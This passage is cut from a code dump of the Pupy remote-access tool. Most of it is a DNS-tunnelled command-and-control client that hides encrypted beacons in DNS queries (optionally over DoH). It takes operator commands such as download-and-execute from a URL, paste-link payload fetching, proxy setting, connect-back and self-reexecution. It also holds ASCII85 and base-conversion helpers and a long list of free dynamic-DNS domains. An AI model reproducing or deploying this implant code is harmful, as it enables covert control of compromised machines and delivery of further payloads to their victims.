or not ismethod(impl):\n                continue\n\n            self.js.export_function(method, impl)\n            self.js.evaljs(''';\n                 {method} = function() {{\n                 var args = Array.prototype.slice.call(arguments);\n                 args.unshift('{method}');\n                 return call_python.apply(null, args);\n                 }};'''.format(method=method))\n\n    def getHost(self, uri):\n        if not uri:\n            return None\n        elif '://' in uri:\n            return urlparse(uri).hostname\n        elif '/' in uri:\n            return uri.split('/', 1)[0].split(':')[0]\n        else:\n            return uri.split(':')[0]\n\n    def dnsDomainIs(self, host, value):\n        return self.getHost(host) == value\n\n    def shExpMatch(self, host, wildcard):\n        regexp = wildcard.replace('.','\\\\.').replace('*', '.*')\n        try:\n            return bool(match(regexp, host))\n        except Exception as e:\n            print(e)\n\n        return False\n\n    def dnsResolve(self, host):\n        if not host:\n            return None\n\n        host = self.getHost(host)\n\n        try:\n            return str(IPAddress(host))\n        except AddrFormatError:\n            pass\n\n        try:\n            return gethostbyname(host)\n        except gaierror:\n            return None\n\n    def isInNet(self, host, network, mask):\n        host = self.getHost(host)\n        ip = self.dnsResolve(host)\n        if not ip:\n            return False\n\n        return ip in IPNetwork(\n            '{}/{}'.format(network, mask))\n\n    def myIpAddress(self):\n        if self.internal_ip:\n            return str(self.internal_ip)\n\n    def isResolvable(self, host):\n        try:\n            gethostbyname(host)\n        except gaierror:\n            return False\n\n        return True\n\n    def dnsDomainLevels(self, host):\n        return host.count('.')\n\n    def isPlainHostName(self, host):\n        return '.' not in self.getHost(host)\n\n    def localHostOrDomainIs(self, host, value):\n        return value.lower().startswith(host.lower())\n\n    def alert(self, *args):\n        dprint(\n            ' '.join(\n                x if isinstance(x, basestring) else str(x) for x in args\n            )\n        )\n"
  },
  {
    "path": "pupy/network/lib/picocmd/__init__.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'Command',\n    'Poll', 'Ack', 'Idle',\n    'SystemStatus',\n    'Sleep', 'CheckConnect',\n    'Reexec', 'Exit', 'Disconnect',\n    'Policy', 'Kex', 'SystemInfo',\n    'SetProxy', 'Connect', 'DownloadExec',\n    'PasteLink', 'OnlineStatus', 'PortQuizPort',\n    'OnlineStatusRequest', 'PupyState',\n    'ConnectablePort', 'Error', 'ParcelInvalidCrc',\n    'ParcelInvalidPayload', 'ParcelInvalidCommand',\n    'Parcel', 'PackError',\n\n    'from_bytes', 'to_bytes',\n\n    'DnsCommandsClient'\n)\n\n\nfrom .picocmd import (\n    Command,\n    Poll, Ack, Idle,\n    SystemStatus,\n    Sleep, CheckConnect,\n    Reexec, Exit, Disconnect,\n    Policy, Kex, SystemInfo,\n    SetProxy, Connect, DownloadExec,\n    PasteLink, OnlineStatus, PortQuizPort,\n    OnlineStatusRequest, PupyState,\n    ConnectablePort, Error, ParcelInvalidCrc,\n    ParcelInvalidPayload, ParcelInvalidCommand,\n    Parcel, PackError,\n\n    from_bytes, to_bytes\n)\n\nfrom .client import DnsCommandsClient\n"
  },
  {
    "path": "pupy/network/lib/picocmd/ascii85.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\ndef ascii85EncodeDG(indata):\n    \"Encode a string according to ASCII-Base-85.\"\n\n    result = ''\n    fetched = 0\n\n    while True:\n        buf = [\n            ord(x)+0 for x in indata[fetched:fetched+4]\n        ]\n\n        fetched = fetched + len(buf)\n\n        if not buf:\n            break\n\n        while fetched % 4:\n            buf.append(0)\n            fetched = fetched + 1\n\n        num = (buf[0] << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3]\n        if num == 0:\n            return 'z'\n\n        res = [0] * 5\n        for i in (4, 3, 2, 1, 0):\n            res[i] = ord('!') + num % 85\n            num = num // 85\n\n        res = res[:len(indata)+1]\n        result = result + ''.join(map(chr, res))\n\n    return result + \"~>\"\n\n\ndef ascii85DecodeDG(indata):\n    \"Decode a string encoded with ASCII-Base-85.\"\n\n    msg = 'Invalid terminator for Ascii Base 85 Stream'\n    assert indata[-2:] == '~>', msg\n    indata = indata[:-2]\n\n    # may have 'z' in it which complicates matters - expand them\n    if 'z' in indata:\n        indata = indata.replace('z', '!!!!!')\n\n    result = ''\n    fetched = 0\n\n    while True:\n        buf = [\n            ord(x)+0-33 for x in indata[fetched:fetched+5]\n        ]\n\n        fetched = fetched + len(buf)\n\n        if not buf:\n            break\n\n        while fetched % 5:\n            buf.append(0)\n            fetched = fetched + 1\n\n        c1, c2, c3, c4, c5 = buf\n        num = ((85**4) * c1) + ((85**3) * c2) + ((85**2) * c3) + (85*c4) + c5\n\n        temp, b4 = divmod(num, 256)\n        temp, b3 = divmod(temp, 256)\n        b1, b2 = divmod(temp, 256)\n\n        assert num == 16777216 * b1 + 65536 * b2 + 256 * b3 + b4, 'dodgy code!'\n        # This modulo operation (256) is maybe a hack! DCG\n        res = b1 % 256, b2, b3, b4\n        result = result + ''.join(map(chr, res))\n\n    return result\n"
  },
  {
    "path": "pupy/network/lib/picocmd/baseconv.py",
    "content": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2010, 2011, 2012, 2015 Guilherme Gondim. All rights reserved.\n# Copyright (c) 2009 Simon Willison. All rights reserved.\n# Copyright (c) 2002 Drew Perttula. All rights reserved.\n#\n# License:\n#   Python Software Foundation License version 2\n#\n# See the file \"LICENSE\" for terms & conditions for usage, and a DISCLAIMER OF\n# ALL WARRANTIES.\n#\n# This Baseconv distribution contains no GNU General Public Licensed (GPLed)\n# code so it may be used in proprietary projects just like prior ``baseconv``\n# distributions.\n#\n# All trademarks referenced herein are property of their respective holders.\n#\n\n\"\"\"\nConvert numbers from base 10 integers to base X strings and back again.\n\nSample usage::\n\n  >>> base20 = BaseConverter('0123456789abcdefghij')\n  >>> base20.encode(1234)\n  '31e'\n  >>> base20.decode('31e')\n  '1234'\n  >>> base20.encode(-1234)\n  '-31e'\n  >>> base20.decode('-31e')\n  '-1234'\n  >>> base11 = BaseConverter('0123456789-', sign='$')\n  >>> base11.encode('$1234')\n  '$-22'\n  >>> base11.decode('$-22')\n  '$1234'\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\nBASE2_ALPHABET = '01'\nBASE16_ALPHABET = '0123456789ABCDEF'\nBASE36_ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyz'\nBASE56_ALPHABET = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz'\nBASE62_ALPHABET = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'\nBASE64_ALPHABET = BASE62_ALPHABET + '-_'\n\n\nclass BaseConverter(object):\n    __slots__ = ('sign', 'digits')\n\n    decimal_digits = '0123456789'\n\n    def __init__(self, digits, sign='-'):\n        self.sign = sign\n        self.digits = digits\n        if sign in self.digits:\n            raise ValueError('Sign character found in converter base digits.')\n\n    def __repr__(self):\n        return \"BaseConverter(%r, sign=%r)\" % (self.digits, self.sign)\n\n    def _convert(self, number, from_digits, to_digits):\n        if str(number)[0] == self.sign:\n            number = str(number)[1:]\n            neg = True\n        else:\n            neg = False\n\n        # make an integer out of the number\n        x = 0\n        for digit in str(number):\n            x = x * len(from_digits) + from_digits.index(digit)\n\n        # create the result in base 'len(to_digits)'\n        if x == 0:\n            res = to_digits[0]\n        else:\n            res = ''\n            while x > 0:\n                digit = x % len(to_digits)\n                res = to_digits[digit] + res\n                x = int(x // len(to_digits))\n        return neg, res\n\n    def encode(self, number):\n        neg, value = self._convert(number, self.decimal_digits, self.digits)\n        if neg:\n            return self.sign + value\n        return value\n\n    def decode(self, number):\n        neg, value = self._convert(number, self.digits, self.decimal_digits)\n        if neg:\n            return self.sign + value\n        return value\n\n\nbase2 = BaseConverter(BASE2_ALPHABET)\nbase16 = BaseConverter(BASE16_ALPHABET)\nbase36 = BaseConverter(BASE36_ALPHABET)\nbase56 = BaseConverter(BASE56_ALPHABET)\nbase62 = BaseConverter(BASE62_ALPHABET)\nbase64 = BaseConverter(BASE64_ALPHABET, sign='$')\n\n\nif __name__ == '__main__':\n    # doctests\n    import doctest\n    doctest.testmod()\n\n    # other tests\n    nums = [-10 ** 10, 10 ** 10] + list(range(-100, 100))\n    for converter in [base2, base16, base36, base56, base62, base64]:\n        if converter.sign == '-':\n            for i in nums:\n                assert i == int(converter.decode(converter.encode(i))), '%s failed' % i\n        else:\n            for i in nums:\n                i = str(i)\n                if i[0] == '-':\n                    i = converter.sign + i[1:]\n                assert i == converter.decode(converter.encode(i)), '%s failed' % i\n"
  },
  {
    "path": "pupy/network/lib/picocmd/client.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'DnsCommandsClient',\n)\n\nimport struct\nimport string\nimport socket\nimport base64\nimport hashlib\nimport os\nimport sys\nimport zlib\nimport logging\nimport time\nimport uuid\nimport netaddr\n\nimport pupy\n\nfrom io import open\nfrom threading import Thread, Lock\n\nfrom . import ascii85\n\ntry:\n    import dnslib\nexcept ImportError:\n    logging.info('dnslib not available')\n    dnslib = None\n\nfrom pupy.network.lib.transports.cryptoutils import ECPV, get_random\n\nfrom .picocmd import (\n    Poll, Ack,\n    SystemStatus,\n    Sleep, CheckConnect,\n    Reexec, Exit, Disconnect,\n    Policy, Kex,\n    SetProxy, Connect, DownloadExec,\n    PasteLink, CustomEvent,\n    OnlineStatusRequest, PupyState,\n    SystemInfoEx, ConnectEx, RegisterHostnameId,\n    AddressTable,\n    Error, ParcelInvalidCrc,\n    ParcelInvalidPayload,\n    PayloadTooBig,\n    Parcel,\n    from_bytes, to_bytes\n)\n\nCLIENT_VERSION = 2\n\nfrom pupy.network.lib import tinyhttp\nfrom pupy.network.lib import online\nfrom pupy.network.lib import doh as securedns\nfrom pupy.network.lib import Proxy\n\n\nclass DnsCommandsClient(Thread):\n    def __init__(\n            self, domain, key, doh=False, ns=None, qtype=None,\n            ns_proto=socket.SOCK_DGRAM, ns_timeout=3):\n\n        self.doh = doh\n        self.iid = os.getpid() & 0xFFFF\n        self.qtype = qtype\n        self._default_qtype = qtype\n\n        if (ns or self.doh or self.qtype not in (None, 'A', 'AAAA')) and (dnslib or self.doh):\n            if not ns and not self.doh:\n                raise ValueError('NS must be specified')\n\n            if not self.doh and not type(ns) in (list, tuple):\n                ns = ns.split(':')\n                if len(ns) == 1:\n                    ns = (ns[0], 53)\n                elif len(ns) == 2:\n                    ns = ns[0], int(ns[1])\n                else:\n                    raise ValueError('Invalid NS address: {}'.format(ns))\n\n            self.ns = ns\n            self.ns_proto = ns_proto\n            self.ns_socket = None\n            self.ns_timeout = ns_timeout\n            self.ns_socket_lock = Lock()\n\n            if self.doh:\n                logging.info('Using DoH')\n\n                if not ns:\n                    for known_hostname, known_ip in online.KNOWN_DNS.items():\n                        ns = securedns.SecureDNS.available(\n                            known_hostname, False, known_ip\n                        )\n\n                        if ns:\n                            self.ns = ns\n                            break\n\n                    if self.ns is None:\n                        # Maybe DNS->IP has changed. Something is better than nothing\n                        for known_hostname in online.KNOWN_DNS:\n                            ns = securedns.SecureDNS.available(known_hostname, False)\n                            if ns:\n                                self.ns = ns\n                                break\n\n                    if self.ns is None:\n                        raise ValueError('All known DoH servers are not working')\n                else:\n                    self.ns = securedns.SecureDNS(self.ns)\n\n                logging.info('DoH server: %s', self.ns.url)\n\n                self.resolve = self._doh_resolve\n            else:\n                self.resolve = self._dnslib_resolve\n        else:\n            if ns:\n                logging.error('dnslib not available, use system resolver')\n\n            self.ns = None\n            self.ns_socket = None\n            self.ns_timeout = None\n            self.resolve = self._native_resolve\n\n        self.node = uuid.getnode()\n        self.nonce = from_bytes(get_random(4))\n        self.domains = domain.split(',')\n        self.domain_id = 0\n        self.domain = self.domains[self.domain_id]\n        self.translation = dict(zip(\n            ''.join([\n                string.ascii_uppercase,\n                string.digits,\n                '='\n            ]).encode('ascii'),\n            ''.join([\n                string.ascii_lowercase,\n                '-',\n                string.digits\n            ]).encode('ascii')\n        ))\n\n        self.encoder = ECPV(public_key=key, curve='brainpoolP224r1')\n        self.spi = None\n        self.kex = None\n        self.poll = 60\n        self.active = True\n        self.failed = 0\n        self.proxy = None\n        self.address_table = AddressTable()\n        self._request_lock = Lock()\n\n        Thread.__init__(self)\n\n    def next(self):\n        logging.debug('Next() ; sleep for %ds', self.poll)\n        time.sleep(self.poll)\n\n        self.domain_id = (self.domain_id + 1) % len(self.domains)\n        self.domain = self.domains[self.domain_id]\n        self.failed = 0\n\n        self.qtype = self._default_qtype\n\n        if self.qtype is None:\n            self._probe_record_type()\n\n    def bad_response(self):\n        self.failed += 1\n        if self.failed > 5:\n            next(self)\n\n    def event(self, command):\n        logging.debug('Event: %s', command)\n        self._request(command)\n\n    def _broadcast_event(self, eventid):\n        logging.debug('EventId: %08x', eventid)\n        self.event(CustomEvent(eventid))\n\n    def _native_resolve(self, hostname):\n        family = None\n\n        if self.qtype == 'A':\n            family = socket.AF_INET\n        elif self.qtype == 'AAAA':\n            family = socket.AF_INET6\n        else:\n            raise NotImplementedError(\n                '{} is not supported by native resolver'.format(self.qtype)\n            )\n\n        return set(\n            addr[0] for af_family, _, _, _, addr in socket.getaddrinfo(\n                hostname, 80, family\n            ) if af_family == family\n        )\n\n    def _doh_resolve(self, hostname):\n        qtype = securedns.AAAA\n        if self.qtype == 'A':\n            qtype = securedns.A\n\n        return self.ns.resolve(hostname, qtype)\n\n    def _dnslib_resolve(self, hostname):\n        if self.qtype is None:\n            return []\n\n        q = dnslib.DNSRecord.question(hostname, self.qtype)\n        r = None\n\n        try:\n            if self.ns_socket:\n                with self.ns_socket_lock:\n                    self.ns_socket.send(q.pack())\n                    r = self.ns_socket.recv(65535)\n            else:\n                s = socket.socket(socket.AF_INET, self.ns_proto)\n                try:\n                    s.connect(self.ns)\n                    s.settimeout(self.ns_timeout)\n                    s.send(q.pack())\n                    r = s.recv(65535)\n                finally:\n                    with self.ns_socket_lock:\n                        if self.ns_proto == socket.SOCK_DGRAM and not self.ns_socket:\n                            self.ns_socket = s\n                        else:\n                            s.close()\n\n        except socket.error as e:\n            logging.info('NS Request exception: %s (ns=%s)', e, self.ns)\n            self.ns_socket = None\n\n        if not r:\n            return []\n\n        parsed = dnslib.DNSRecord.parse(r)\n        if parsed.header.rcode != dnslib.RCODE.NOERROR:\n            return []\n\n        result = []\n\n        for record in parsed.rr:\n            if dnslib.QTYPE[record.rtype] != self.qtype:\n                continue\n\n            result.append(str(record.rdata))\n\n        return set(result)\n\n    def _aaaa_page_decoder(self, addresses, nonce, symmetric=None):\n        if symmetric is None:\n            symmetric = self.encoder.kex_completed\n\n        resp = len(addresses)*[None]\n        for address in addresses:\n            raw = netaddr.IPAddress(address).packed\n            idx, = struct.unpack_from('B', raw)\n            resp[idx] = raw[1:]\n\n        data = b''.join(resp)\n        length, = struct.unpack_from('B', data)\n        payload = data[1:1+length]\n\n        return self.encoder.decode(payload, nonce, symmetric)\n\n    def _a_page_decoder(self, addresses, nonce, symmetric=None):\n        if symmetric is None:\n            symmetric = self.encoder.kex_completed\n\n        resp = len(addresses)*[None]\n        for address in addresses:\n            raw = 0\n            for part in [int(x) << (3-i)*8 for i,x in enumerate(\n                    address.split(b'.'))]:\n                raw |= part\n\n            idx = (raw & 0x3E000000) >> 25\n\n            bits = (raw & 0x01FFFFFE) >> 1\n            resp[idx] = struct.pack('>I', bits)[1:]\n\n        data = b''.join(resp)\n        length, = struct.unpack_from('B', data)\n        payload = data[1:1+length]\n\n        return self.encoder.decode(payload, nonce, symmetric)\n\n    def _q_page_encoder(self, data):\n        data_append = b''\n        ldata = len(data)\n\n        if ldata > 35:\n            # 35 -- limit, 4 - nonce, 1 - version, 4 - CID, 2 - IID, 6 - NODE\n            if CLIENT_VERSION > 1:\n                # Total limit: 52 bytes\n                if (ldata - 35 + 4 + 1 + 4 + 2 + 6 < 35):\n                    data, data_append = data[:35], data[35:]\n                else:\n                    raise PayloadTooBig(\n                        'Page size more than {max_len} bytes ({required_len})',\n                        ldata, 52)\n            else:\n                raise PayloadTooBig(\n                    'Page size more than {max_len} bytes ({required_len})',\n                    ldata, 35)\n\n        nonce = self.nonce\n        node_block = b''\n\n        if CLIENT_VERSION > 1:\n            node_block = b''.join((\n                data_append,\n                struct.pack(\n                    '>BIH',\n                    CLIENT_VERSION, pupy.client.cid, self.iid\n                ),\n                to_bytes(self.node, 6)\n            ))\n\n        payload = self.encoder.encode(\n            data + node_block, nonce,\n            symmetric=True\n        )\n\n        payload_len = len(payload)\n\n        if node_block:\n            len_node_block = payload_len - (ldata - len(data_append))\n            split_offset = payload_len - len_node_block\n            payload, node_block = payload[:split_offset], payload[split_offset:]\n\n        parts = [\n            struct.pack('>I', self.spi) if self.spi else None,\n            struct.pack('>I', nonce) + node_block,\n            payload\n        ]\n\n        encoded = '.'.join([\n            ''.join(\n                self.translation[x] for x in base64.b32encode(part)\n            ) for part in parts if part is not None\n        ]) + '.' + self.domain\n\n        self.nonce += payload_len\n        return encoded, nonce\n\n    def _probe_record_type(self):\n        logging.debug('DNSCNC: Probing supported record type')\n\n        self.qtype = 'A'\n\n        cmd = self._request(Ack(0))\n        if not cmd:\n            self.qtype = None\n            logging.debug('DNSCNC: Probe failed')\n            return False\n\n        self.qtype = 'AAAA'\n        cmd = self._request(Ack(0))\n\n        if not cmd:\n            self.qtype = 'A'\n\n        logging.debug('DNSCNC: Selected record type: %s', self.qtype)\n        return True\n\n    def _request(self, *commands):\n\n        answer = None\n\n        try:\n            with self._request_lock:\n                answer = self._request_unsafe(commands)\n\n        finally:\n            if not answer:\n                self.bad_response()\n\n        return answer\n\n    def _request_unsafe(self, commands):\n        parcel = Parcel(commands)\n\n        gen_csum = None\n        check_csum = None\n\n        if CLIENT_VERSION == 2:\n            gen_csum = self.encoder.gen_csum\n            check_csum = self.encoder.check_csum\n\n        page, nonce = self._q_page_encoder(\n            parcel.pack(self.nonce, gen_csum))\n\n        try:\n            addresses = self.resolve(page)\n            if not addresses:\n                logging.info('DNSCNC: no answer')\n                return []\n\n        except socket.error as e:\n            logging.error('DNSCNC: Communication error: %s', e)\n            return []\n\n        response = None\n\n        for attempt in (1, 2):\n            try:\n                decoder = None\n\n                if self.qtype == 'A':\n                    decoder = self._a_page_decoder\n                elif self.qtype == 'AAAA':\n                    decoder = self._aaaa_page_decoder\n                else:\n                    raise NotImplementedError(\n                        'Unknown type: {}'.format(self.qtype))\n\n                payload = decoder(addresses, nonce)\n\n                if not payload:\n                    logging.error('DNSCNC: No data: %s -> %s', addresses, payload)\n                    self.spi = None\n                    self.encoder.kex_reset()\n                    self.on_session_lost()\n                    continue\n\n                response = Parcel.unpack(payload, nonce, check_csum)\n\n                if attempt > 0:\n                    logging.info('DNSCNC: Recovered (%s) with PSK/PK', attempt)\n\n                break\n\n            except ParcelInvalidCrc:\n                logging.error('CRC FAILED / Attempt %d [%s]', attempt, addresses)\n\n                self.spi = None\n                self.encoder.kex_reset()\n                self.on_session_lost()\n\n            except (IndexError, ParcelInvalidPayload) as e:\n                logging.error(\n                    'CRC FAILED / Invalid payload (%s) / %s/%s',\n                        e, self.failed, 5)\n\n        if response:\n            return list(response.commands)\n\n        return []\n\n    def on_pastelink(self, url, action, encoder):\n        proxy = self.proxy\n        if type(self.proxy) in (list, tuple):\n            if len(self.proxy) > 0:\n                proxy = self.proxy[0]\n            else:\n                proxy = None\n\n        http = tinyhttp.HTTP(proxy=proxy, follow_redirects=True)\n        content, code = http.get(url, code=True)\n        if code == 200:\n            try:\n                content = ascii85.ascii85DecodeDG(content)\n                content = self.encoder.unpack(content)\n                if not content:\n                    logging.error('PasteLink: unpack failed')\n                    return\n\n                content = zlib.decompress(content)\n                chash, content = content[:20], content[20:]\n                h = hashlib.sha1()\n                h.update(content)\n                if h.digest() == chash:\n                    self.on_pastelink_content(url, action, content)\n                else:\n                    logging.error('PasteLink: Wrong hash after extraction: %s != %s',\n                        h.digest(), chash)\n            except Exception as e:\n                logging.exception(e)\n\n    def on_downloadexec(self, url, action, use_proxy):\n        if not tinyhttp:\n            logging.error('TinyHTTP is not available')\n            return\n\n        try:\n            proxy = self.proxy\n            if type(self.proxy) in (list, tuple):\n                if len(self.proxy) > 0:\n                    proxy = self.proxy[0]\n                else:\n                    proxy = None\n\n            http = tinyhttp.HTTP(\n                proxy=proxy if use_proxy else False,\n                follow_redirects=True\n            )\n\n            content, code = http.get(url, code=True)\n            if code == 200:\n                self.on_downloadexec_content(url, action, content)\n\n        except Exception as e:\n            logging.exception(e)\n\n    def on_pastelink_content(self, url, action, content):\n        pass\n\n    def on_downloadexec_content(self, url, action, content):\n        pass\n\n    def on_connect(self, address, port, transport, proxy, hostname=None):\n        pass\n\n    def on_checkconnect(self, host, port_start, port_end):\n        pass\n\n    def on_checkonline(self):\n        pass\n\n    def on_exit(self):\n        self.active = False\n\n    def on_disconnect(self):\n        pass\n\n    def on_error(self, error, message=None):\n        pass\n\n    def on_session_established(self):\n        pass\n\n    def on_session_lost(self):\n        pass\n\n    def on_set_proxy(self, scheme, ip, port, user, password):\n        if not scheme or scheme.lower() == 'none':\n            self.proxy = False\n        elif scheme.lower() == 'any':\n            self.proxy = True\n        else:\n            if self.proxy in (None, True, False):\n                self.proxy = []\n\n            if scheme:\n                scheme = scheme.upper()\n\n            if scheme == 'SOCKS':\n                scheme = 'SOCKS5'\n\n            self.proxy.append(\n                Proxy(scheme, '{}:{}'.format(ip, port), user, password)\n            )\n\n    def process(self):\n        commands = []\n\n        if self.spi:\n            commands = self._request(\n                PupyState(\n                    pupy.client.connected,\n                    pupy.manager.dirty\n                ),\n                SystemStatus())\n        else:\n            commands = self._request(Poll())\n\n        need_ack = len([\n            x for x in commands if not type(x) in (\n                Poll, Kex, Ack\n            )\n        ])\n\n        if need_ack:\n            logging.debug('NEED TO ACK: %s', need_ack)\n            ack_response = self._request(Ack(need_ack))\n            if not (len(ack_response) == 1 and isinstance(ack_response[0], Ack)):\n                logging.error('ACK <-> ACK failed: received: %s', ack_response)\n\n        for command in commands:\n            logging.debug('command: %s', command)\n\n            if isinstance(command, Policy):\n                self.poll = command.poll\n\n                if command.kex and not self.spi:\n                    request = self.encoder.generate_kex_request()\n                    kex = Kex(request)\n                    response = self._request(kex)\n                    if not len(response) == 1 or not isinstance(response[0], Kex):\n                        logging.error('KEX sequence failed. Got %s instead of Kex',\n                            response)\n                        return\n\n                    self.encoder.process_kex_response(response[0].parcel)\n                    self.spi = kex.spi\n                    self.on_session_established()\n\n            elif isinstance(command, Poll):\n                response = self._request(SystemInfoEx())\n\n                if len(response) > 0 and not isinstance(response[0], Ack):\n                    logging.debug('dnscnc:Submit SystemInfo: response=%s', response)\n                    for cmd in response:\n                        commands.append(cmd)\n\n                response = self._request(SystemStatus())\n                if len(response) > 0 and not isinstance(response[0], Ack):\n                    logging.debug('dnscnc:Submit SystemStatus: response=%s', response)\n                    for cmd in response:\n                        commands.append(cmd)\n\n            elif isinstance(command, PasteLink):\n                self.on_pastelink(command.url, command.action, self.encoder)\n            elif isinstance(command, DownloadExec):\n                self.on_downloadexec(command.url, command.action, command.proxy)\n            elif isinstance(command, SetProxy):\n                self.on_set_proxy(\n                    command.scheme, command.ip, command.port,\n                    command.user, command.password\n                )\n            elif isinstance(command, Connect):\n                self.on_connect(\n                    str(command.ip),\n                    int(command.port),\n                    command.transport,\n                    self.proxy\n                )\n            elif isinstance(command, ConnectEx):\n                address = command.address\n                fronting = None\n\n                if command.address_type == ConnectEx.TARGET_ID:\n                    address = self.address_table.get_address(address)\n                    if command.fronting:\n                        fronting = self.address_table.get_address(command.fronting)\n                else:\n                    address = str(address)\n\n                self.on_connect(\n                    address,\n                    command.port,\n                    command.transport,\n                    self.proxy,\n                    fronting\n                )\n            elif isinstance(command, RegisterHostnameId):\n                logging.debug('Register hostname: %s -> %d', command.hostname, command.id)\n                self.address_table.register(command.hostname, command.id)\n            elif isinstance(command, Error):\n                self.on_error(command.error, command.message)\n            elif isinstance(command, Disconnect):\n                self.on_disconnect()\n            elif isinstance(command, Sleep):\n                time.sleep(command.timeout)\n            elif isinstance(command, CheckConnect):\n                self.on_checkconnect(command.host, command.port_start, port_end=command.port_end)\n            elif isinstance(command, OnlineStatusRequest):\n                self.on_checkonline()\n            elif isinstance(command, Reexec):\n                try:\n                    executable = os.readlink('/proc/self/exe')\n                    args = open('/proc/self/cmdline').read().split('\\x00')\n                except:\n                    executable = sys.executable\n                    args = sys.argv\n\n                os.execv(executable, args)\n            elif isinstance(command, Exit):\n                self.active = False\n                self.on_exit()\n\n    def run(self):\n        pupy.set_broadcast_event(self._broadcast_event)\n\n        while True:\n            try:\n                if self.qtype is None:\n                    self._probe_record_type()\n\n                if self.qtype is not None:\n                    self.process()\n                else:\n                    logging.warning('Server not found')\n\n            except Exception as e:\n                logging.exception(e)\n\n            if self.active:\n                logging.debug('sleep %s', self.poll)\n                time.sleep(self.poll)\n            else:\n                break\n\n        pupy.set_broadcast_event(None)\n"
  },
  {
    "path": "pupy/network/lib/picocmd/dns_encoder.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'DnsEncoder', 'Huffman'\n)\n\nfrom io import open\n\nIS_END = '\\0'\n\nFREEDNS = (\n    '100mountain.com', '10x.es', '120v.ac', '1337.cx', '24-7.ro',\n    '2fine.de', '2p.fm', '3dxtras.com', '3trust.com', '404.mn', '4040.idv.tw',\n    '4twenty.us', '688.org', '69.mu', 'abuser.eu', 'agropeople.ru', 'aintno.info',\n    'allisons.org', 'allowed.org', 'americajhon.com.pe', 'ananda.net.ve',\n    'antongorbunov.com', 'asenov.ru', 'asianfreshproduce.com', 'ask2ask.com',\n    'astrabus.ru', 'auraria.org', 'australia.ai', 'awiki.org', 'b33r.us', 'bad.mn',\n    'bandweite.de', 'beerprojects.com', 'benjamin.it', 'bigbox.info',\n    'birdriver.org', 'biz.tm', 'blinklab.com', 'blizzie.net', 'bloom.us', 'bot.nu',\n    'boxathome.net', 'ccmissoula.com', 'celebsplay.com', 'chickenkiller.com',\n    'cloudwatch.net', 'cnstefancelmare.ro', 'computersforpeace.net',\n    'crabdance.com', 'crackedsidewalks.com', 'crazycat.ro', 'csproject.org',\n    'custom-gaming.net', 'd-n-s.name', 'd-n-s.org.uk', 'dalk.ru', 'darksair.org',\n    'digitalgroupe.com', 'dmtr.ru', 'dnet.hu', 'dob.jp', 'dp76.com',\n    'drunkensailor.org', 'dyn.mk', 'e-data.com.tr', 'e-m-a-i-l.org', 'elchemi.com',\n    'endlessmovie.com', 'enemyterritory.org', 'epicgamer.org', 'erke.biz.tr',\n    'erki.net', 'eva.hk', 'everton.com', 'evils.in', 'evs.net.br', 'ezxdev.org',\n    'fairuse.org', 'farted.net', 'fedea.com.ar', 'fin-tech.com', 'fivepals.com',\n    'forss.to', 'fr.to', 'ftp.sh', 'galipan.net.ve', 'gerastar.ru',\n    'ghostnation.org', 'giveawaylisting.com', 'good-newz.org', 'good.one.pl',\n    'gtk.cl', 'gurcanozturk.com', 'h-o-s-t.name', 'h0stname.net', 'h4ck.me',\n    'hackquest.com', 'hamshack.info', 'happyforever.com', 'hbmc.net',\n    'hiddencorner.org', 'hijaxdesigns.com', 'hin.tw', 'hitremixes.com', 'hmail.us',\n    'hmao.pro', 'home.kg', 'homelinuxserver.org', 'homeplex.org', 'host2go.net',\n    'hpc.tw', 'hs.vc', 'iceblaze.com', 'ig42.org', 'ignorelist.com', 'iiiii.info',\n    'iminecraft.se', 'inet2.org', 'inflict.us', 'info.gf', 'info.tm',\n    'innograph.co.id', 'inovasi.co.id', 'iu4ever.org', 'ivi.pl', 'jedimasters.net',\n    'jesus.si', 'joe.dj', 'joiavip.com.br', 'jumpingcrab.com', 'jundy.org',\n    'k22.su', 'kalbas.com.vn', 'kck-saratov.ru', 'kein.hk', 'kir22.ru', 'ko.tl',\n    'kyrgyzstan.kg', 'l5.ca', 'lanas.cl', 'lee.mx', 'lex.mn', 'linkin.tw',\n    'lovethosetrains.com', 'madhacker.biz', 'make.com.ar', 'malam.or.id',\n    'mcsoft.org', 'mikata.ru', 'mindhackers.org', 'mine.bz', 'minecraftnoob.com',\n    'minecraftr.us', 'mm.my', 'mooo.com', 'mooo.info', 'morganisageek.org',\n    'mwop.net', 'my.to', 'mycloud.bz', 'mylogisoft.com', 'mysaol.com',\n    'n-e-t.name', 'nard.ca', 'nav.co.id', 'nedvighimost-sochi.ru', 'netlord.de',\n    'notici.as', 'now.im', 'oganilirkab.go.id', 'ohbah.com', 'patelmortgage.com',\n    'photo-cult.com', 'photo-frame.com', 'php-dev.net', 'pii.at',\n    'pixelfucker.com', 'playminecraft.ml', 'polissya.eu', 'port0.org',\n    'portalindustries.org', 'possessed.us', 'priamaakcia.sk', 'privatedns.org',\n    'privateimport.jp', 'procare.co.id', 'prostore.ru', 'psybnc.org', 'punked.us',\n    'qc.to', 'qlbv.vn', 'r-o-o-t.net', 'radiogirl.fm', 'raspberryip.com',\n    'reason.org.nz', 'richlorenz.com', 'ro.lt', 'root.sx', 'routemehome.com',\n    'ruok.org', 'rwbcode.com', 'sadayuki.jp', 'sales-people.ru', 'scay.net',\n    'scottlewisonline.com', 'sdp-mos.ru', 'servernux.com', 'serverpit.com',\n    'shen.cl', 'shop.tm', 'sly.io', 'smelly.cc', 'soon.it', 'spacetechnology.net',\n    